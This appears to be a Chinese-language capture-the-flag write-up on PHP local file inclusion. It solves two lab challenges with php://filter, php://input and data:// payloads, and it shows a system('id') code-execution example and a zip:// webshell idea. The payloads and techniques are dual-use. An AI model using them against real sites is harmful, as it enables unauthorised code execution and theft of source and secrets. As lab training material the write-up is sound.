初涉文件包含之攻防世界-fileinclude-----php伪协议
拿到题目,查看源码
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
php我不会啊,那咋办
硬着头皮读了一下,发现能勉强读懂,大概意思就是从cookie中传入language的值,赋给lan,如果lan的值为零就文件包含(调用变量$lan,添加后缀".php")。。。。
经过一番查找 问题就处在include函数,这是一个文件包含漏洞题目的标志,我们只需要构造一个恶意的cookie就行
上传cookie的方法:1.bp抓包,改包
2.hackbar直接传
但是怎么写呢,又不会了,又是一顿查
这里我了解到了php伪协议
-
php://filter 读取文件源码
-
php://input 任意代码执行
-
data://text/plain 任意代码执行
-
zip:// 配合文件上传开启后门
由于题目已经告诉我们flag.php的地址,所以我们这里选择php://filter读取flag.php的内容即可
所以我们最后构造的payload为:
Name:language
Value:php://filter/read=convert.base64-encode/resource=/var/www/html/flag
来分析一下:php://filter----读取文件源代码
read=convert.base64-encode------使用base64对源代码编码(不然会直接解析文件而不是显示源代码)
resource=......-----要找的文件对应的地址
这里有一个小细节,就是文件地址不是写成flag.php而是flag,因为最后会加上后缀.php,
上传payload之后,会返回base64编码的flag,解码即可得到答案
下面再讲解一下其他几种:
1.php://filter:不再赘述
2.php://input:利用php中流的概念,将原本的include的文件流重定向到了用户可控制的输入流中命令执行
比如我们传了?file=php://input,再抓包,写入我们要执行的代码(例如:<? php phpinfo(); ?>)
我们的代码就会被执行
3.data://text/plain:协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行 eg:?url=data://text/plain,<?php system('id') ?>
4.zip://:协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell
看到这里,我想到了文件上传的新思路,即把后门文件压缩,再以jpg的形式利用上传,zip://会解析压缩包里面的内容
有了这些,我们对下一个文件包含题目就有了解决办法,先看看源码(省略)
这里的文件包含漏洞在file1和file2中,file2被放入了file_get_contents函数中,并要求返回值为hello ctf,我们可以用php://input来绕过,file1被放入了include中,故可以给file1传payload来获取flag,利用?file1=php://filter/read=convert.base64-encode/resource=flag.php
对于file2,file_get_contents是将文件中数据提取为字符串的函数,它与inclue()一样参数为文件名,所以直接file2=hello%20ctf行不通,所以用php://input来绕过,再抓包传入flag=hello+ctf
或者用data://text/plain来绕过 ?file2=data://text/plain,hello ctf
所以完整的payload为?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
最后base64解码即出flag
总结:通过这两道题,初步了解了文件包含漏洞,标志为include函数,利用php代码审计+php伪协议来解题,了解php伪协议后,搞清楚每个变量以及代码逻辑是解决问题的关键,主要使用的工具为bp和hackbar

浙公网安备 33010602011771号